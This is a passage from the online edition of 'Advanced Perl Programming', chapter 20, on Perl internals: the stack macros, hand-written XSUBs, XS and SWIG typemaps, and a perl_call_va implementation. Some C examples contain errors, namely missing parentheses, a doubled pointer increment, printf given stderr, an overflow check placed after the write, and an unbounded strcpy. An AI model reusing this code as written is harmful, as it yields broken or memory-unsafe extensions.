ENTER, SAVETMPS, and PUSHMARK are called to prepare the stack for a subroutine call.

XPUSHs(SV*)

Now you can push any number of arguments onto the stack. If you push newly created SVs, you can mark them as mortal, and Perl will automatically delete them at end of scope.

PUTBACK

Indicates that all arguments have been pushed in. PUSHMARK and PUTBACK bracket the arguments, in a sense.

At this stage, the Perl procedure can be called using perl_call_pv or perl_call_sv. (See the following example.)

SPAGAIN

Like PUSHMARK, it provides the opening bracket for the returned results. Even if there aren't any returned results, you must call it anyway.

POPi
POPl
POPn
POPp
POPs

Pop a scalar from the stack and return the appropriate type:

integer, long, double, pointer (typically to string), and SV.

perl_call_pv returns the number of result parameters pushed onto the stack, and you must take care to call these macros only that many times.

Keep in mind that POP returns the results in the inverse order in which the Perl procedure pushed its results on the stack.

PUTBACK

Call this after all result parameters have been popped.

FREETMPS

See SAVETMPS.

LEAVE

Ends scope. See ENTER.

The code snippet shown next illustrates how to invoke a Perl procedure called add, with two input parameters 10 and 20, and how to retrieve the results. Note again that the macros are used in the order given in Table 20.6.

#include <perl.h>
void foo() {
    int n;         /* number of parameters returned by add       */
    dSP;
    ENTER;         /* Tell perl we are entering a new scope      */
    SAVETMPS;      /* Ensure that FREETMPS will free only those
                      mortals created after this stmt            */
    PUSHMARK(sp);  /* Remember the current stack pointer. sp is
                     declared by dSP                             */
    /* Push arguments */
    XPUSHs(sv_2mortal(newSViv(10)));         /* push an integer  */
    XPUSHs(sv_2mortal(newSViv(20)));         /* push another     */
    PUTBACK;                                 /* End of arguments */

    /* Call subroutine by name, and expect it to return a scalar */
    n = perl_call_pv ("add", G_SCALAR);

    SPAGAIN;                  /* Start looking at return results */

    /* Retrieve returned value from stack */
    if (n == 1)
        printf ("Result: %d \n", POPi);
    /* Closing details                                           */
    PUTBACK;            /* Finished removing results from stack  */
    /* Time to clean up and leave ..                             */
    FREETMPS;  /* Frees the two mortal parameters passed to add  */
    LEAVE;     /* Leave scope                                    */
}

This is all you need to understand the section "Easy Embedding API," which implements the perl_call_va convenience function introduced in Chapter 19.

20.4.2 The Called Side: Hand-Coding an XSUB

Having seen what it takes to call a Perl subroutine, let's look at the stack from the viewpoint of a called subroutine. This is precisely the situation that all XSUBs are in, and after this section, you'll be able to completely understand the code produced by SWIG and xsubpp.

First, let's settle the issue of how Perl discovers your XSUB. That is, if someone writes "add($a,$b,$c)" in a script, how does Perl know to call the C procedure add, or my_add, or whatever? Well, you have to create a binding between a subroutine name (as known in script space) and a C procedure, using the procedure newXS like this:

extern XS(add);             /* XS macro explained in Table 20.7 next */
newXS("add", add, "add.c"); /* Filename given for debugging reasons  */

For a module called foo, XS and SWIG generate a procedure called boot_foo, which uses newXS to bind all XSUBs in that module to the corresponding names. The elegant thing about this approach is that boot_foo itself is an XSUB, and if you use dynamic loading, this procedure is called by the Dynaloader module at run-time.

XSUBs use the macros (defined in XSUB.h) listed in Table 20.7 to examine the stack and return results.

Table 20.7: Macros Used to Manipulate the Stack (Embedding)

Function/Macro

Description

XS

Supplies the standard signature required for your XSUB. For example, the procedure foo should be declared thus:

   XS(foo) {
   }

dXSARGS

Defines some local variables used by the other macros. The important one is an integer called items, which contains the number of parameters pushed onto the stack by the caller.

SV* ST(n)

Retrieves the nth parameter (an SV*) from the stack. ST(0) refers to the first parameter ($_[0]), and ST(items-1) is the last parameter.

XSRETURN(n)

Indicates that you have left n result parameters on the stack and returns. In the typical case in which you have only one value to return, you can use one of the more convenient macros listed below.

XSRETURN_NO
XSRETURN_YES
XSRETURN_UNDEF

Issues XSRETURN(1) after leaving an SV on the stack with a value of 0, 1, or undef.

XSRETURN_EMPTY

The same as XSRETURN(0).

XSRETURN_IV (int)
XSRETURN_NV (double)
XSRETURN_PV (char *)

Leaves a new mortal scalar with the appropriate value type. This scalar will be deleted when the caller invokes FREETMPS.

The following snippet shows the hand-coded XSUB add, which adds all its input parameters and returns the result:

#include <perl.h>
#include <XSUB.h>
XS(add)                              /* All XSUBs have this signature*/
{
    int sum = 0;
    dXSARGS;                         /* defines 'items', and inits it*
                                      * with the number of params    */
    if (items == 0)
        XSRETURN_IV(0);    /* Return 0 if param list is empty        */

    for (--items ; items >= 0 ; --items) {
        if (SvIOK(ST(items))         /* If SV contains an integer    */
           sum += SvIV(ST(items));
    }
    XSRETURN_IV (sum);
}

20.4.2.1 Returning a variable list of results

The subroutine in the preceding example returns one parameter. Returning multiple parameters is straightforward too. The following example shows how a null-terminated array of strings (argv) is converted to an equal number of result parameters on the stack:

int i = 0;
for ( ; *argv; argv++, i++) {
    ST(i) = sv_2mortal(newSVPV(*argv,0));
}
XSRETURN(i);

As you can see, returned parameters occupy the stretch of argument stack between ST(0) and ST(n-1). XSRETURN adjusts the markstack so that the caller can see the number of scalars being returned. It is important to note that the preceding code does not modify the input arguments that happen to live in the same stretch; it updates the stack to point to new SVs. (Remember that the stack is an array of SV*s.) To modify an input parameter directly, you would instead write:

sv_setpv(ST(i), "hello", 0); /* Like modifying $_[i] */

While functions such as read do this, I recommend that you refrain from taking advantage of it, and create new SVs instead. In addition, to save the calling code from worrying about memory management or reference counting issues, give that responsibility to Perl by making these new values mortal. They will then be automatically deleted at the end of scope.

20.4.2.2 Ensuring that the stack is big enough

The ST macro refers directly to the corresponding spot on the stack. Because the stack may not have been extended enough to accommodate the argument in the macro, you cannot arbitrarily say, for example, ST(100) without risking a crash. The EXTEND macro ensures that the stack is big enough to hold your data:

EXTEND(sp, 100); /* Extend stack by 100 elements */

This macro can be used in both the caller and the called subroutines. The variable sp (the stack pointer) is defined automatically for you (by the dSP and dXSARGS macros). ST() could have used av_store() to automatically extend the stack, but that would be considerably slower.

There's an alternative approach. If we reset the stack pointer back to the bottom of our stretch of stack, then we can use the XPUSHs macro, which automatically extends the stack for you:

i = 0;
sp -= items;          /* Resets stack pointer to beginning */
for ( ; *argv; argv++, i++) {
    /* Push fresh mortal string-valued scalars */
    XPUSHs(sv_2mortal(newSVpv(*argv, 0)));
}
XSRETURN(i);

This is precisely the strategy adopted by the PPCODE directive in XS, as we shall soon see. As I said earlier, this code doesn't modify the input parameters; it simply replaces those pointers in the stack with new ones. Note that if we forgot to reset the stack pointer, we would be piling stuff on top of the input parameters, and all hell would break loose when this procedure returns.

20.4.3 Inside Other Stacks

Let us take a brief look at the stacks available inside Perl (besides the argument and mark stacks) to understand what the macros described in the preceding sections do internally. Unless you are curious about these kind of details, you can safely skip this section without loss of continuity.

Save stack (savestack)

This stack is used as a repository for storing all pieces of global information that are liable to change within a nested scope. To safely squirrel away an integer, for example, Perl uses a macro called SSPUSHINT (in scope.h). This macro pushes three pieces of information on savestack: the value of the integer, the address of the integer, and the fact that an integer has been stored. The value of this integer can now be changed freely within a nested scope. At the end of the current scope, Perl pops the savestack and knows that because an integer has been stored, it must also have stored the old pointer and value. Thus the original integer is efficiently restored.

A statement such as local($a) is implemented by saving the GV corresponding to "a" and its scalar value on the save stack; the scalar value is replaced with a new scalar. When the scope ends, the GV and its scalar pointer are automatically restored.

Scope stack (scopestack)

The scope stack is used to remember positions along the save stack that correspond to different scopes (analogous to the markstack providing bookmarks for the argument stack). When the scope ends (upon LEAVE), Perl knows exactly how many objects to pop off the save stack and restores them to their former values.

Temporaries stack (tmps_stack)

When you create a mortal variable or mark a variable as mortal (using sv_2mortal or local, in script space), Perl pushes this SV on to this stack (without touching its reference count). At the end of scope, it decrements the reference count of all temporary variables pushed into the stack in that scope. Recall that my variables (lexicals) sit in CV-specific scratchpads, so they never touch the temporaries stack.

Return stack (retstack)

Before calling a subroutine, Perl remembers the starting opcode of the statement following that subroutine call by pushing it on the retstack.

Context stack (cxstack)

This stack keeps track of the context information for the current block, such as the block label and the CV to execute when last, redo, or next are invoked. These are restored to the previous elements when the block is exited. I do not know why there are two stacks to deal with scope-related context information.

Previous: 20.3 Perl Value Types | Advanced Perl Programming | Next: 20.5 Meaty Extensions
20.3 Perl Value Types | Book Index | 20.5 Meaty Extensions


[Chapter 20] 20.5 Meaty Extensions

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.5 Meaty Extensions

Having armed ourselves to the teeth with information, and having hand-built a few extensions, we are now ready to exploit SWIG and XS to their hilts. In this section, we'll first look at the type of code produced by XS. As it happens, SWIG produces almost identical code, so the explanation should suffice for both tools. Then we will write typemaps and snippets of code to help XS deal with C structures, to wrap C structures with Perl objects, and, finally, to interface with C++ objects. Most of this discussion is relevant to SWIG also, which is why we need study only one SWIG example. That said, take note that the specific XS typemap examples described in the following pages are solved simply and elegantly using SWIG, without the need for user-defined typemaps.

20.5.1 Anatomy of an XS Extension

To understand XS typemaps, and the effect of keywords such as CODE and PPCODE, it pays to take a good look at the glue code generated by xsubpp. Consider the following XS declaration of a module, Test, containing a function that takes two arguments and returns an integer:

MODULE = Test  PACKAGE = Test
int
func_2_args(a, b)
   int    a
   char*  b

xsubpp translates it to the following (comments in italic have been added):

XS(XS_Test_func_2_args) /*  Mangled function name, with package name */
                        /* added to make it unique                                 */
{
    dXSARGS;            /* declare "items", and init it with                     */
    if (items != 2)     /* the number of items on the stack                    */
        croak("Usage: Test::func_2_args(a, b)");

    {   /* Start a fresh block to allow variable declarations          */
        /* Built-in typemaps translate the stack to C variables       */
        int      a = (int)SvIV(ST(0));
        char*    b = (char *)SvPV(ST(1),na);
        /* RETVAL's type matches the function return                    */
        int      RETVAL;

        RETVAL = func_2_args(a, b);
        ST(0)  = sv_newmortal();

        /* Outgoing typemap to translate C var. to stack                */
        sv_setiv(ST(0), (IV)RETVAL);
    }
    XSRETURN(1); /* Let Perl know one return param has been put back */
}

This is practically identical to the code we studied in the section "The Called Side: Hand-Coding an XSUB." Notice how the arguments on the stack are translated into the two arguments a and b. The XS function then calls the real C function, func_2_args, gets its return value, and packages the result back to the argument stack.

Let us now add some of the more common XS keywords to see how they are accommodated by xsubpp. The XS snippet

int
func_with_keywords(a, b)
    int    a
    char*  b
  PREINIT:
    double c;
  INIT:
    c = a * 20.3;
  CODE:
    if (c > 50) {
        RETVAL = test(a,b,c);
    }
  OUTPUT:
    RETVAL

gets translated to this:

XS(XS_Test_func_with_keywords)
{
    dXSARGS;
    if (items != 2)
        croak("Usage: Test::func_with_keywords(a, b)");
    {
        int     a = (int)   SvIV(ST(0));
        char*   b = (char *)SvPV(ST(1),na);
        double  c;                   /* PREINIT section                    */
        int     RETVAL;
        c = a * 20.3;                /* INIT section                           */
        if (c > 50) {                /* CODE section                        */
            RETVAL = test(a,b,c);    /* Call any function                  */
        }
        ST(0) = sv_newmortal();      /* generated due to OUTPUT      */
        sv_setiv(ST(0), (IV)RETVAL);
    }
    XSRETURN(1);
}

As you can see, the code supplied in PREINIT goes right after the typemaps to ensure that all declarations are complete before the main code starts. The location is important for traditional C compilers, but would not be an issue for ANSI C or C++ compilers, which allow variable declarations anywhere in a block. The INIT section is inserted before the automatically generated call to the function or, in this case, before the CODE section starts. The CODE directive allows us the flexibility of inserting any piece of code; without it, xsubpp would have simply inserted a call to func_with_keywords(a,b), as we saw in the prior example.

The CODE keyword behaves like a typical C call: you can modify input parameters, and you can return at most one parameter. To deal with a variable number of input arguments or output results, you need the PPCODE keyword. To illustrate the implementation of PPCODE, consider a C function, permute, that takes a string, computes all its permutations and returns a dynamically allocated array of strings (a null-terminated char**). Let's say that we want to access it in Perl as follows:

@list = permute($str);

We use PPCODE here because the function expects to return a variable number of scalars. The following snippet of code shows the XS file:

void
permute(str)
   char *     str
  PPCODE:
   int i = 0;

   /* Call permute. It returns a null-terminated array of strings */
   char ** ret = permute (str);

   /* Copy these parameters to mortal scalars, and push them onto
    * the stack */
   for ( ; *ret ; ret++, ++i) {
       XPUSHs (sv_2mortal(newSVpv(*ret, 0)));
   }
   free(ret);
   XSRETURN(i);

This gets translated to the following:

XS(XS_Test_permute)
{
    dXSARGS;
    if (items != 1)
        croak("Usage: Test::permute(str)");

    /* PPCODE adjusts stack pointer (CODE does not do this) */
    SP -= items;

    {
       char *  str = (char *)SvPV(ST(0),na);
       int     i   = 0;
       /* Call permute.It returns a null-terminated array of strings */

       char ** ret = permute (str);
       /* Copy these parameters to mortal scalars, and push them onto
        * the stack */
       for ( ; *ret ; ret++, ++i) {
          XPUSHs (sv_2mortal(newSVpv(*ret, 0)));
       }
       free(ret);
       XSRETURN(i);
       PUTBACK;          /* These two statements are redundant */
       return;           /* because XSRETURN does both            */
    }
}

The PPCODE directive differs from CODE in one small but significant way: it adjusts the stack pointer SP to point to the bottom of the Perl stack frame for this function call (that is, to ST(0)), to enable us to use the XPUSHs macro to extend and push any number of arguments (recall our discussion in the section "Ensuring that the stack is big enough"). We'll shortly see why we cannot do this using typemaps.

20.5.2 XS Typemaps: An Introduction

A typemap is a snippet of code that translates a scalar value on the argument stack to a corresponding C scalar entity (int, double, pointer), or vice versa. A typemap applies only to one direction. It is important to stress here that both the input and the output for a typemap are scalars in their respective domains. You cannot have a typemap take a scalar value and return a C structure, for example; you can, however, have it return a pointer to the structure. This is the reason why the permute example in the preceding section cannot use a typemap. We could write a typemap to convert a char** to a reference to an array and then leave it to the script writer to dereference it. In SWIG, which doesn't support a PPCODE equivalent, this is the only option.

Another constraint of typemaps is that they convert one argument at a time, with blinkers on: you cannot take a decision based on multiple input arguments, as we mentioned in Chapter 18, Extending Perl:A First Course, ("if argument 1 is `foo', then increase argument 2 by 10"). XS offers the CODE and PPCODE directives to help you out in this situation, while SWIG doesn't. But recall from the section "Degrees of Freedom" that the two SWIG restrictions mentioned are easily and efficiently taken care of in script space.

While xsubpp is capable of supplying translations for ordinary C arguments, we have to write custom typemaps for all user-defined types. Assume that we have a C library with the following two functions:

Car*  new_car();
void  drive(Car *);

In Perl, we want to access it as

$car = Car::new_car;
Car::drive($car);

Let us first write the XS file for this problem:

/* Car.XS */
#include <EXTERN.h>
#include <perl.h>
#include <XSUB.h>

#include <Car.h>  /* Don't care what Car* looks like */

MODULE = Car  PACKAGE = Car
Car *
new_car ()

void
drive (car)
   Car *   car

As you can see, we need two typemaps: an output typemap for converting a Car* to $car and an input typemap for the reverse direction. We start off by editing a typemap file called typemap,[11] which contains three sections: TYPEMAP, INPUT, and OUTPUT, as follows:

TYPEMAP
Car *      CAR_OBJ

INPUT
CAR_OBJ
           $var = (Car *)SvIV($arg);
OUTPUT
CAR_OBJ
           sv_setiv($arg, (I32) $var);

[11] We choose this particular name because the h2xs-generated makefile recognizes it and feeds it to xsubpp. It also allows for multiple typemap files to be picked up from different directories.

The TYPEMAP section creates an easy-to-use alias (CAR_OBJ, in this case) for your potentially complex C type (Car *). The INPUT and OUTPUT sections in the typemap file can now refer to this alias and contain code to transform an object of the corresponding type to a Perl value, or vice versa. When a typemap is used for a particular problem, the marker $arg is replaced by the appropriate scalar on the argument stack, and $var is replaced by the corresponding C variable name. In this example, the output typemap stuffs a Car* into the integer slot of the scalar (recall the discussion in the section "SVs and object pointers").

The advantage of the TYPEMAP section's aliases is that multiple types can be mapped to the same alias. That is, a Car* and a Plane* can both be aliased to VEHICLE, and because the INPUT and OUTPUT sections use only the alias, both types end up sharing the same translation code. The Perl distribution comes with a typemap file that supplies all the basic typemaps (see lib/ExtUtils/typemap), and you can freely use one of the aliases defined in that file. For example, you can use the alias T_PTR (instead of CAR_OBJ) and thereby use the corresponding INPUT and OUTPUT sections for that alias. In other words, our typemap file need simply say:

TYPEMAP
Car *      T_PTR

It so happens that the T_PTR's INPUT and OUTPUT sections look identical to that shown above for CAR_OBJ.

20.5.3 Object Interface Using XS Typemaps

Let us say we want to give the script writer the ability to write something like the following, without changing the C library in any way:

$car = Car::new_car(); # As before
$car->drive();

In other words, the OUTPUT section of our typemap needs to convert a Car* (returned by new_car) to a blessed scalar reference, as discussed in the section "SVs and object pointers." The INPUT section contains the inverse transformation:

TYPEMAP
Car *     CAR_OBJ

OUTPUT
CAR_OBJ
       sv_setref_iv($arg, "Car", (I32) $var);

INPUT
CAR_OBJ
       $var = (Car *)SvIV((SV*)SvRV($arg));

sv_setref_iv gives an integer to a freshly allocated SV and converts the first argument into a reference, points it to the new scalar, and blesses it in the appropriate module (refer to Table 20.1). In this example, we cast the pointer to an I32, and make the function think we are supplying an integer.

20.5.4 Making XS Typemaps More Generic

The typemap in the preceding example is restricted to objects of type Car only. We can use the TYPEMAP section's aliasing capability to generalize this typemap and accommodate any object pointer. Consider the following typemap, with changes highlighted:

TYPEMAP
Car *     ANY_OBJECT

OUTPUT
ANY_OBJECT
     sv_setref_pv($arg, CLASS, (void*) $var);

INPUT
ANY_OBJECT
     $var = ($type) SvIV((SV*)SvRV($arg));

All we have done is generalize the alias, the cast, and the class name. $type is the type of the current C object (the left-hand side of the alias in the TYPEMAP section), so in this case it is Car*. Because we want to make the class name generic, we adopt the strategy used in Chapter 7, Object-Oriented Programming - ask the script user to use the arrow notation:

$c = Car->new_car();

This invocation supplies the name of the module as the first parameter, which we capture in the CLASS argument in the XS file:

Car *
new_car (CLASS)
    char *CLASS

The only thing remaining is that we would like the user to say Car->new instead of Car->new_car. Just because C doesn't have polymorphism doesn't mean the script user has to suffer. The CODE keyword achieves this simply:

Car *
new (CLASS)
    char *CLASS
   CODE:
     RETVAL = new_car();
   OUTPUT:
     RETVAL

The drive method doesn't need any changes.

Having generalized this alias, we can apply the ANY_OBJECT alias to other objects too, as long as they also follow the convention of declaring and initializing a CLASS variable in any method that returns a pointer to the type declared in the TYPEMAP section. In the preceding example, the initialization happened automatically because Perl supplies the name of the class as the first argument.

20.5.5 C++ Objects and XS Typemaps

Suppose you have a C++ class called Car that supports a constructor and a method called drive. You can declare the corresponding interfaces in the XS file as follows:

Car *
Car::new ()

void
Car::drive()

xsubpp translates the new declaration to an equivalent constructor call, after translating all parameters (if any):

XS(XS_Car_new)
{
    dXSARGS;
    if (items != 1)
        croak("Usage: Car::new(CLASS)");
    {
        char *  CLASS = (char *)SvPV(ST(0),na);
        Car *   RETVAL;
        RETVAL = new Car();
        ST(0) = sv_newmortal();
        sv_setref_pv(ST(0), CLASS, (void*) RETVAL);
    }
    XSRETURN(1);
}

Unlike the previous example, xsubpp automatically supplies the CLASS variable. You still need the typemaps, however, to convert Car* to an equivalent Perl object reference. The drive interface declaration is translated as follows:

XS(XS_Car_drive)
{
    dXSARGS;
    if (items != 1)
        croak("Usage: Car::drive(THIS)");
    {
        Car *    THIS;
        THIS = (Car *) SvIV((SV*)SvRV(ST(0)));;
        THIS->drive();
    }
    XSRETURN_EMPTY;
}

xsubpp automatically generates the THIS variable to refer to the object. Both CLASS and THIS can be used in a CODE section.

Dean Roehrich's XS Cookbooks [5] provide several excellent examples of XS typemaps, so be sure to look them up before you start rolling your own.

20.5.6 Memory Management Using XS

We have conveniently ignored the issue of memory management so far. In the preceding sections, the new function allocates an object that is subsequently stuffed into a scalar value by the typemapping code. When the scalar goes out of scope or is assigned something else, Perl ignores this pointer if the scalar has not been blessed - not surprising, considering that it has been led to believe that the scalar contains just an integer value. This is most definitely a memory leak. But if the scalar is blessed, Perl calls its DESTROY routine called when the scalar is cleared. If this routine is written in XS, as shown below, it gives us the opportunity to delete allocated memory:

void
DESTROY(car)
    Car *car
  CODE:
    delete_car(car); /* deallocate that object */

The C++ interface is simpler:

void
Car::DESTROY()

In this case, xsubpp automatically calls "delete THIS", where THIS represents the object, as we saw earlier.

20.5.6.1 Recommended memory allocation and deallocation routines

The Perl library provides a set of functions and macros to replace the conventional dynamic memory management routines (listed on the left-hand side of the table):

Instead of: | Use:
malloc | New
free | Safefree
realloc | Renew
calloc | Newz
memcpy | Move
memmove | Copy
memzero | Zero

The Perl replacements use the version of malloc provided by Perl (by default), and optionally collect statistics on memory usage. It is recommended that you use these routines instead of the conventional memory management routines.

20.5.7 SWIG Typemaps

SWIG produces practically the same code as xsubpp. Consequently, you can expect its typemaps to be very similar (if not identical) to that of XS. Consider the permute function discussed earlier. We want a char** converted to a list, but since typemaps allow their input and output to be scalars, the following typemap translates it to a list reference :

%typemap(perl5,out) char ** {   // All functions returning char **
                                // get this typemap
    // $source is of type char **
    // $target is of type RV (referring to an AV)
    AV *ret_av = newAV();
    int i      = 0;
    char **p   = $source;
    /* First allocate a new AV, of the right size */
    while (*p++)
        ;            /* Incr. p while *p is non-null */
    av_extend(ret_av, p - $source);

    /* For each element in the array of strings, create a new
     * mortalscalar, and stuff it into the above array */
    p = $source;
    for (i = 0, p = $source; *p; p++, i++ {
        av_store(ret_av, i, sv_2mortal(newSVPV(*p, 0)));
        p++;
    }
    /* Finally, create a reference to the array; the "target"
       of this typemap */
    $target = sv_2mortal(newRV((SV*)ret_av));
}

SWIG typemaps are specific to language, hence the perl5 argument. out refers to function return parameters, and this typemap applies to all functions with a char** return value. $source and $target are variables of the appropriate types: for an in typemap, $source is a Perl type, and $target is the data type expected by the corresponding function parameter. Note that unlike XS's $arg and $val, SWIG's $source and $target switch meanings depending on the direction of the typemap.

If you don't want this typemap applied to all functions returning char**'s, you can name exactly which parameter or function you want it applied to, like this:

%typemap(perl5,out) char ** permute {
    ...
}

Please refer to the SWIG documentation for a number of other typemap-related features.

Previous: 20.4 Stacks and Messaging Protocol | Advanced Perl Programming | Next: 20.6 Easy Embedding API
20.4 Stacks and Messaging Protocol | Book Index | 20.6 Easy Embedding API


[Chapter 20] 20.6 Easy Embedding API

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.6 Easy Embedding API

We have learned enough (and more) to implement the convenience API introduced in Chapter 19. They are perl_call_va, perl_eval_va, and the set of functions for accessing or modifying scalar values: get_int, set_int, and so on. We'll implement only perl_call_va in this section. perl_eval_va is a shorter form of this procedure since it doesn't expect any input parameters (the string to be eval'd contains all the information). The API functions to modify scalars are simple wrappers over sv_set*, av_store, and hv_store, and are left as an exercise to the reader.[12]

[12] I've always wanted to say that! (See the Preface for the FTP site where you can download this code and other examples in this book.)

Recall that perl_call_va takes a NULL-terminated list of typed arguments. This list contains both input and output parameters. The following implementation processes the entire list by XPUSH'ing the input parameters and storing the output parameters in an array of Out_Param structures. Knowing the number of output parameters expected by the caller allows us to specify G_SCALAR, G_ARRAY, or G_DISCARD. The full code is shown in Example 20.3.

Example 20.3: perl_call_va Implementation

#define MAX_PARAMS 20
typedef struct {
    char type;
    void *pdata;
} Out_Param;                  /* To remember the "Out" section */

int perl_call_va (char *subname, ...)
{
    char      *p   = NULL;
    char      *str = NULL; int i = 0; double d = 0;
    int       nret = 0;               /* number of return params expected*/
    int       ii   = 0;
    va_list   vl;
    int       out = 0;
    int       result = 0;
    Out_Param op[MAX_PARAMS];

    dSP;                               /* Standard ...    */
    ENTER;                             /*    ... Prologue */
    SAVETMPS;
    PUSHMARK(sp);
    va_start (vl, subname);
    while (p = va_arg(vl, char *)) {   /* Fetch next argument */
        switch (*p) {
        case 's' :                     /* String */
            if (out) {
                /* Comes here if we are processing the "Out" section */
                op[nret].pdata = (void*) va_arg(vl, char *);
                op[nret++].type = 's';
            } else {
                str = va_arg(vl, char *);
                ii = strlen(str);
                XPUSHs(sv_2mortal(newSVpv(str,ii)));
            }
            break;
        case 'i' :                    /* Integer */
            if (out) {
                op[nret].pdata = (void*) va_arg(vl, int *);
                op[nret++].type = 'i';
            } else {
                ii = va_arg(vl, int);
                XPUSHs(sv_2mortal(newSViv(ii)));
            }
            break;
        case 'd' :                    /* Double */
            if (out) {
                op[nret].pdata = (void*) va_arg(vl, double *);
                op[nret++].type = 'd';
            } else {
               d = va_arg(vl, double);
               XPUSHs(sv_2mortal(newSVnv(d)));
            }
            break;
        case 'O':
            out = 1;                      /* Out parameters starting */
            break;
        default:
             fprintf (stderr, "perl_eval_va: Unknown option \'%c\'.\n"
                               "Did you forget a trailing NULL ?\n", *p);
            return 0;
        }
        if (nret > MAX_PARAMS) {
            printf (stderr, "Can't accept more than %d return params\n",
                    MAX_PARAMS);
            return -1;
        }
    }
    va_end(vl);
    PUTBACK;
    /* All input parameters have been pushed on stack, and "nret" contains
     * the number of values expected back from the Perl function */
    result = perl_call_pv(subname, (nret == 0) ? G_DISCARD :
                                   (nret == 1) ? G_SCALAR  :
                                                 G_ARRAY  );
    /* Process output arguments */
    SPAGAIN;
    if (nret > result)
        nret = result;

    for (i = --nret; i >= 0; i--) {
        switch (op[i].type) {
        case 's':
            str = POPp;
            strcpy((char *)op[i].pdata, str);
            break;
        case 'i':
            *((int *)(op[i].pdata)) = POPi;
            break;
        case 'd':
            *((double *) (op[i].pdata)) = POPd;
            break;
        }
    }

    FREETMPS ;
    LEAVE ;
    return result;
}

Previous: 20.5 Meaty Extensions | Advanced Perl Programming | Next: 20.7 A Peek into the Future
20.5 Meaty Extensions | Book Index | 20.7 A Peek into the Future


[Chapter 20] 20.7 A Peek into the Future

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.7 A Peek into the Future

In this section, I'll describe a few of the exciting things that we can look forward to, possibly in the next few major releases of Perl.

Multithreaded interpreter

Malcolm Beattie has released an early version of a thread-safe Perl interpreter based on POSIX threads. (Search for the "thrperl" in the Perl 5 Porters archive [4].) This modified interpreter is not thread-hot; that is, it does not use threads itself (unlike the Java environment, for example, which uses separate threads for updating the user interface and for garbage collection). It allows the user to create as many threads as required and provides support for standard thread primitives such as monitors and condition variables. As currently implemented, all global data structures introduced in this chapter have simply become per-thread entities. That is, each thread gets its own set of stacks, its own stashes, and thread-local variables such as errgv ($@). Lexical variables are allocated out of subroutine and thread-specific scratchpads.

Static typing hints

Give hints to the interpreter for better optimization and type-checking. Larry's example, which has acquired near "hello world" status on the p5p list, is as follows:

    my Dog $spot = new Dog;

Now $spot is tagged at compile time as belonging to a class called Dog, so a call such as $spot->meow() will be a compile-time error, unless you have a mutant dog.

Faster objects

Expect better support for objects and a possible standard replacement for the ObjectTemplate module. You may be able to say something like this:

    package Dog;
    use Fields qw(breed color);
    $spot = new Dog;
    print $spot->{color};

What looks like a hash access in the last statement may in fact be optimized at compile-time to an array access, by replacing the attribute name with the field offset; that is, $spot->{color} becomes $spot->[1].

Perl compiler

Malcolm has also submitted a Perl compiler extension [7], which is in its early stages as of this writing. It can be asked to translate a script to C code, which can be compiled to form an executable; as it happens, this executable is not much faster than the interpreted script, because most of the action still takes place in opcode functions as they exist now. Static typing hints may usher in some aggressive optimizations. For example, if you say:

     my integer $i;

the compiler would use C's native integer type, rather than an SV - this would speed up loops and arithmetic expressions.

The compiler can alternatively produce a byte-code file and have the interpreter eval it subsequently, similar to the facilities provided by Python and Java. It also supports much better debugging options than those currently provided with -D.

Previous: 20.6 Easy Embedding API | Advanced Perl Programming | Next: 20.8 Resources
20.6 Easy Embedding API | Book Index | 20.8 Resources


[Chapter 20] 20.8 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

20.8 Resources

These are the places to go trolling for further information, should this chapter not slake your thirst:

  1. perlguts documentation. Jeff Okamoto and others.

    The perlguts documentation, along with perlembed and perlcall, is a fairly exhaustive source of information. The API reference in this document contains many more functions and macros than are covered in this chapter.

  2. Perl 5 Porters news gateway and archive.

    The perl.porters-gw Usenet newsgroup is a gateway to the p5p mailing list, where vigorous discussions of Perl internals overshadow porting issues. Archived articles can be searched at http://www.rosat.mpe-garching.mpg.de/mailing-lists/Perl5-Porters/

  3. XS Cookbooks. Dean Roehrich.

    These cookbooks, available from CPAN (look under the authors/Dean_Roehrich directory), provide solutions to a number of sample problems covering all XS features.

  4. sfio (Safe/Fast I/O Library). David Korn and Kiem-Phong Vo.

    Faster, extensible, and an overall better alternative to stdio, with backward compliance to stdio. Works only on Unix. Get it from CPAN's Misc directory, or check the following URL for a summary: http://www.research.att.com/sw/tools/reuse/packages/sfio.html

  5. Perl compiler. Fetch from CPAN's authors/Malcolm_Beattie/ directory.

The Road goes ever on and on
Now far ahead the Road has gone,
And I must follow, if I can,
Pursuing it with eager feet,
Until it joins some larger way
Where many paths and errands meet.
And whither then? I cannot say.

- J.R.R. Tolkien, The Lord of the Rings

Previous: 20.7 A Peek into the Future | Advanced Perl Programming | Next: A. Tk Widget Reference
20.7 A Peek into the Future | Book Index | A. Tk Widget Reference


Advanced Perl Programming

By Sriram Srinivasan; ISBN 1-56592-220-4, 434 pages.
First Edition, August 1997.
(See the catalog page for this book.)

Search the text of Advanced Perl Programming.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Data References and Anonymous Storage
Chapter 2: Implementing Complex Data Structures
Chapter 3: Typeglobs and Symbol Tables
Chapter 4: Subroutine References and Closures
Chapter 5: Eval
Chapter 6: Modules
Chapter 7: Object-Oriented Programming
Chapter 8: Object Orientation: The Next Few Steps
Chapter 9: Tie
Chapter 10: Persistence
Chapter 11: Implementing Object Persistence
Chapter 12: Networking with Sockets
Chapter 13: Networking: Implementing RPC
Chapter 14: User Interfaces with Tk
Chapter 15: GUI Example: Tetris
Chapter 16: GUI Example: Man Page Viewer
Chapter 17: Template-Driven Code Generation
Chapter 18: Extending Perl:A First Course
Chapter 19: Embedding Perl:The Easy Way
Chapter 20: Perl Internals

Appendix A: Tk Widget Reference
Appendix B: Syntax Summary

Examples

The Perl CD Bookshelf Navigation The Perl CD BookshelfPerl in a NutshellLearning PerlLearning Perl on Win32 SystemsProgramming PerlPerl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
The Case for Scripting
Why Perl?
What Must I Know?
The Book's Approach
Conventions
Resources
Perl Resources
We'd Like to Hear from You
Acknowledgments

Errors, like straws, upon the surface flow;
He who would search for pearls must dive below.

- John Dryden, All for Love, Prologue

This book has two goals: to make you a Perl expert, and, at a broader level, to supplement your current arsenal of techniques and tools for crafting applications. It covers advanced features of the Perl language, teaches you how the perl interpreter works, and presents areas of modern computing technology such as networking, user interfaces, persistence, and code generation.

